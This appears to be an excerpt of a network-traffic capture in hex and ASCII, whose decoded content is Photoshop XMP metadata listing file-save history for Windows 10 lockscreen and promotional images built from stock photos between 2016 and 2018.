2022-04-08 08:02:42 UTC1442INData Raw: 44 6f 63 75 6d 65 6e 74 49 44 3d 22 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 31 31 36 35 37 37 66 2d 35 37 35 64 2d 38 33 34 37 2d 39 38 64 36 2d 38 39 30 65 32 65 30 33 31 30 32 32 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 61 38 35 33 32 65 62 65 2d 62 34 31 32 2d 34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 22 20 78 6d 70 4e 6f 74 65 3a 48 61 73 45 78 74 65 6e 64 65 64 58 4d 50 3d 22 44 30 41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 31 39 33 42 34 41 33 44 22 3e 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 65 72 73 3e 20 3c 72 64 66 3a 42 61 67 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c
Data Ascii: DocumentID="adobe:docid:photoshop:f116577f-575d-8347-98d6-890e2e031022" xmpMM:OriginalDocumentID="xmp.did:a8532ebe-b412-4746-950b-2e11df3ff471" xmpNote:HasExtendedXMP="D0A399F4AEAC1D5236E6C17A193B4A3D"> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:L
2022-04-08 08:02:42 UTC1458INData Raw: 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 33 34 31 36 30 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 33 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 37 33 34 31 30 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 34 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76
Data Ascii: ge\_Crops\Edge-Lifestyle_shutterstock_353416007_1080x1920.jpg saved&#xA;2016-07-26T11:03:30-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-87341061_1080x1920.jpg saved&#xA;2016-07-26T11:04:36-07:00&#x9;File C:\Users\v
2022-04-08 08:02:42 UTC1460INData Raw: 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 34 3a 33 31 2d 30 37 3a 30 30 26 23
Data Ascii: ved&#xA;2016-07-26T18:17:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-07-26T18:23:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-07-26T18:24:31-07:00&#
2022-04-08 08:02:42 UTC1476INData Raw: 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a
Data Ascii: 0.jpg saved&#xA;2016-08-31T13:42:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-09-12T10:26:08-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2016-09-12T10:28:50-07:00&#x9;File C:\Users\v-liz
2022-04-08 08:02:42 UTC1492INData Raw: 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 35 36 39 35 32 39 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 33 34 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 52 65 61 64 69 6e 67 56 69 65 77 5f 4e 6f 64 69 73 74 72 61 63 74 69 6f 6e 73 2d 43 6f 6e 63 65 6e 74 72 61 74 69 6e 67 2d 46 6f 63 75 73 2d 53 69 6d 70 6c 69 63 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 38 31 39 35 33 37 37 5f 31 30 38 30 78
Data Ascii: ity\EdgeSurge-ReadingView_GettyImages-95695291_1080x1920.jpg saved&#xA;2016-10-17T18:34:53-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\ReadingView_Nodistractions-Concentrating-Focus-Simplicity\EdgeSurge-ReadingView_GettyImages-578195377_1080x
2022-04-08 08:02:42 UTC1723INData Raw: 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 30 39 32 38 32 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 34 39 35 38 37 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73
Data Ascii: s10\Cortana\Cortana-Reminder_GettyImages-620928239_1080x1920.jpg saved&#xA;2016-11-14T15:55:37-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Cortana-Reminder_GettyImages-665495875_1080x1920.jpg saved&#xA;2016-11-14T15:55:45-08:00&#x9;File C:\Users
2022-04-08 08:02:42 UTC2462INData Raw: 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 30 38 39 32 34 38 30 5f 31 30 38 30 78 31 39 32 30 45 36 44 39 31 43 44 33 36 38 33 31 39 46 44 30 32 34 37 46 39 43 34 36 31 44 39 41 46 30 30 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 31 3a 31 38 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69
Data Ascii: -lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-WinterEntertainment-Oscars_GettyImages-150892480_1080x1920E6D91CD368319FD0247F9C461D9AF007.psb saved&#xA;2017-01-20T11:18:59-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTi
2022-04-08 08:02:42 UTC2494INData Raw: 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 37 36 33 39 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 35 3a 30 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4e 41 41 45 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 34 30 30 36 30 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 36 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69
Data Ascii: AEE_GettyImages-474763952_1080x1920.jpg saved&#xA;2017-02-23T09:45:03-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-484006054_1080x1920.jpg saved&#xA;2017-02-23T09:46:49-08:00&#x9;File C:\Users\v-lizagh\MS\Wi
2022-04-08 08:02:42 UTC2518INData Raw: 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 37 31 38 38 36 38 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 31 31 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 35 3a 31 36 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54
Data Ascii: t-April_GettyImages-517188688_1080x1920.jpg saved&#xA;2017-03-14T12:11:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-03-15T15:16:30-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-03-15T
2022-04-08 08:02:42 UTC2553INData Raw: 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 30 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 30 38 30 78 31 39 32 30 30 39 39 45 36 30 37 34 41 43 31 42 42 33 35 41 31 34 38 39 37 31 46 39 34 30 45 42 30 41 30 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 30 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c
Data Ascii: jpg saved&#xA;2017-04-12T11:40:27-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_BingAtWork_GettyImages-137144293_1080x1920099E6074AC1BB35A148971F940EB0A0D.psb saved&#xA;2017-04-12T11:40:56-07:00&#x9;File C:\
2022-04-08 08:02:42 UTC2609INData Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 31 39 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 42 41 5c 4d 61 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 39 31 35 38 37 30 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 32 30 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61
Data Ascii: ed&#xA;2017-05-11T15:19:42-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NBA\May\Chosen\Crops\MIT-NBA_GettyImages-659158700_1080x1920.jpg saved&#xA;2017-05-11T15:20:16-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portra
2022-04-08 08:02:42 UTC2625INData Raw: 32 5c 5f 43 48 4f 53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 35 30 30 70 78 2d 31 35 32 32 38 37 36 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 31 39 3a 34 36 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 35 30 30 70 78 2d 31 35 34 31 33 30 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 31 39 3a 34 36 3a 33 34 2d 30 37 3a 30 30 26
Data Ascii: 2\_CHOSEN-O365Renewal\Office-B2_500px-152287621_1080x1920.jpg saved&#xA;2017-06-11T19:46:24-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-O365Renewal\Office-B2_500px-154130315_1080x1920.psd saved&#xA;2017-06-11T19:46:34-07:00&
2022-04-08 08:02:42 UTC2633INData Raw: 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 36 3a 31 34 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 36 3a 32 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43
Data Ascii: &#xA;2017-07-09T16:14:49-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-07-09T16:24:26-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4C
2022-04-08 08:02:42 UTC3031INData Raw: 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 35 30 38 32 33 30 5f 31 30 38 30 78 31 39 32 30 41 37 30 32 45 36 46 36 44 37 38 38 31 31 33 46 46 35 44 39 31 30 39 45 38 38 30 37 31 32 39 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 34 3a 35 35 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 73 68
Data Ascii: be\Adobe Photoshop CC 2017\AutoRecover\_BingSpotlightQuiz_GettyImages-504508230_1080x1920A702E6F6D788113FF5D9109E8807129F.psb saved&#xA;2017-07-31T14:55:52-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_sh
2022-04-08 08:02:42 UTC3047INData Raw: 32 33 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 30 38 30 78 31 39 32 30 30 42 45 35 43 39 43 44 44 44 39 33 43 34 38 42 38 45 31 43 46 46 38 33 33 38 37 45 34 46 34 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 36 3a 31 34 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e
Data Ascii: 23:27-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_WindowsMMX-Rd2_500px-18226573_1080x19200BE5C9CDDD93C48B8E1CFF83387E4F41.psb saved&#xA;2017-09-25T16:14:25-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Momen
2022-04-08 08:02:42 UTC3054INData Raw: 74 6f 72 73 55 70 64 61 74 65 5c 46 61 6c 6c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 35 31 30 37 35 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 38 54 31 35 3a 34 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 46 61 6c 6c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 35 31 30 37 35 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 38 54 31 35 3a 34 37 3a 35 35 2d 30 37 3a 30 30 26 23 78 39
Data Ascii: torsUpdate\FallCreatorsUpdate_GettyImages-168510758_1080x1920.psd saved&#xA;2017-10-18T15:46:18-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\FallCreatorsUpdate\FallCreatorsUpdate_GettyImages-168510758_1080x1920.jpg saved&#xA;2017-10-18T15:47:55-07:00&#x9
2022-04-08 08:02:42 UTC3070INData Raw: 70 70 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 36 32 30 31 33 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 30 3a 34 34 3a 30 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 36 38 34 32 33 38 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20
Data Ascii: pping\CHOSEN\Crops\MIT-BlackFriday_GettyImages-136201339_1080x1920.jpg saved&#xA;2017-11-22T10:44:05-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday_GettyImages-506842383_1080x1920.jpg
2022-04-08 08:02:42 UTC3086INData Raw: 65 73 2d 31 37 37 34 32 37 39 31 37 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 30 3a 35 31 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 43 72 69 63 6b 65 74 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 41 73 68 65 73 43 72 69 63 6b 65 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 34 32 37 39 31 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 30 3a 35 34 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61
Data Ascii: es-177427917_1080x1920.psd saved&#xA;2017-12-20T20:51:42-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Cricket\CHOSEN\Crops\MIT-AshesCricket_GettyImages-177427917_1080x1920.jpg saved&#xA;2017-12-20T20:54:26-08:00&#x9;File C:\Users\v-liza
2022-04-08 08:02:42 UTC3094INData Raw: 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 47 72 61 6d 6d 79 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 38 30 37 32 34 33 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 31 34 3a 33 31 3a 32 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 47 52 41 4d 4d 59 53 5c 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 47 72 61 6d 6d 79 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 30 37 34 39 32 34 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 31 34 3a 33 33 3a 35 31
Data Ascii: \CHOSEN\Crops\MIT-Grammys_GettyImages-578072430_1080x1920.jpg saved&#xA;2018-01-17T14:31:23-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\GRAMMYS\2017\CHOSEN\Crops\MIT-Grammys_GettyImages-580749241_1080x1920.jpg saved&#xA;2018-01-17T14:33:51
